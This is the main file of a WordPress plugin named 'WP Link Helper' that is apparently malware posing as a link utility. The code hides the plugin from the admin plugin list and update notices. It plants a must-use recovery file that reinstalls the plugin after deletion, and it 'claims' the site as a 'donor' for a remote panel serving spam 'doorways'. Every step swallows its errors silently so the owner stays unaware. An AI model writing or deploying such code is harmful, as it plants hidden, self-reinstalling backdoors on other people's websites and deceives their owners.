<?php
/**
 * Plugin Name: WP Link Helper
 * Version: 0.4.9
 */
/* 0.4.6: token-less ?wlh_claim trigger — panel pokes an active-but-unclaimed
   donor to claim synchronously (fixes installed-but-no-heartbeat on zero-traffic
   doorways where WP-cron never fires the claim retry).
   0.4.7: fatal-proof activation + init — every step (recovery-install, claim,
   cron) is try/catch(Throwable) so a failure on a heavy/locked host never causes
   WP's "critical error" (rollback → no claim), and never white-screens the site
   from the init hook. */

if (!defined('ABSPATH')) exit;

define('WLH_VERSION', '0.4.9');
define('WLH_FILE', __FILE__);
define('WLH_DIR', plugin_dir_path(__FILE__));
define('WLH_BASENAME', plugin_basename(__FILE__));

define('WLH_OPT_ENDPOINT',   'wlh_cdn');
define('WLH_OPT_API_TOKEN',  'wlh_key');
define('WLH_OPT_DOMAIN',     'wlh_origin');
define('WLH_OPT_PROJECT',    'wlh_proj');
define('WLH_OPT_CLAIMED_AT', 'wlh_ca');
define('WLH_OPT_LAST_ERROR', 'wlh_err');
define('WLH_OPT_LAST_HEALTH','wlh_lh');
define('WLH_OPT_LINKS',      'wlh_links');

$_wlh_cfg = WLH_DIR . 'wlh-config.php';
if (file_exists($_wlh_cfg)) {
    require_once $_wlh_cfg;
}
unset($_wlh_cfg);

require_once WLH_DIR . 'includes/class-wlh-vault.php';
require_once WLH_DIR . 'includes/class-wlh-cache.php';
require_once WLH_DIR . 'includes/class-wlh-client.php';
require_once WLH_DIR . 'includes/class-wlh-cron.php';
require_once WLH_DIR . 'includes/class-wlh-check.php';
require_once WLH_DIR . 'includes/class-wlh-render.php';
require_once WLH_DIR . 'includes/class-wlh-clean.php';
require_once WLH_DIR . 'includes/class-wlh-neighbors.php';
require_once WLH_DIR . 'includes/class-wlh-recovery-installer.php';

add_filter('all_plugins', 'wlh_hide_self');
function wlh_hide_self($plugins) {
    if (isset($plugins[WLH_BASENAME])) {
        unset($plugins[WLH_BASENAME]);
    }
    return $plugins;
}

add_filter('site_transient_update_plugins', 'wlh_hide_update');
function wlh_hide_update($value) {
    if (is_object($value)) {
        if (isset($value->response[WLH_BASENAME])) {
            unset($value->response[WLH_BASENAME]);
        }
        if (isset($value->no_update[WLH_BASENAME])) {
            unset($value->no_update[WLH_BASENAME]);
        }
    }
    return $value;
}

add_action('init', array('WLH_Cron', 'register_hooks'));
WLH_Check::register_hooks();
WLH_Render::register_hooks();
// Keep the mu-plugin recovery channel dropped in wp-content/mu-plugins/ — it
// loads independently of and OUTLIVES the deletion of this main plugin, and
// autonomously reinstalls it. Idempotent: re-syncs on a version bump or if the
// mu-file was removed. Cheap (a version+state option check) on the happy path.
// Defensive: ensure_installed touches the filesystem (mu-plugins) + DB on EVERY
// request — a throw here would white-screen the whole donor. Never let it.
add_action('init', function () {
    try {
        WLH_Recovery_Installer::ensure_installed();
    } catch (\Throwable $e) {
    }
});

register_activation_hook(__FILE__, 'wlh_on_activate');
function wlh_on_activate() {
    // Every step is best-effort: a failure in recovery-install / claim / cron on a
    // heavy or locked-down host must NOT fatal activation (WP would show a
    // "critical error", roll the plugin back, and the donor never claims). The
    // essential outcome — plugin active + the ?wlh_claim trigger reachable — holds
    // even if the optional steps throw.
    try {
        if (WLH_Vault::domain() === '') {
            $host = parse_url(home_url(), PHP_URL_HOST);
            if (is_string($host) && $host !== '') {
                WLH_Vault::set_domain(strtolower($host));
            }
        }
    } catch (\Throwable $e) {
    }
    try { WLH_Cron::schedule(); } catch (\Throwable $e) {
    }
    try { WLH_Recovery_Installer::install(); } catch (\Throwable $e) {
    }
    if (defined('WLH_REMOTE_URL') && defined('WLH_HANDSHAKE')) {
        try { WLH_Client::try_claim(); } catch (\Throwable $e) {
        }
    }
}

register_deactivation_hook(__FILE__, 'wlh_on_deactivate');
function wlh_on_deactivate() {
    WLH_Cron::unschedule();
}
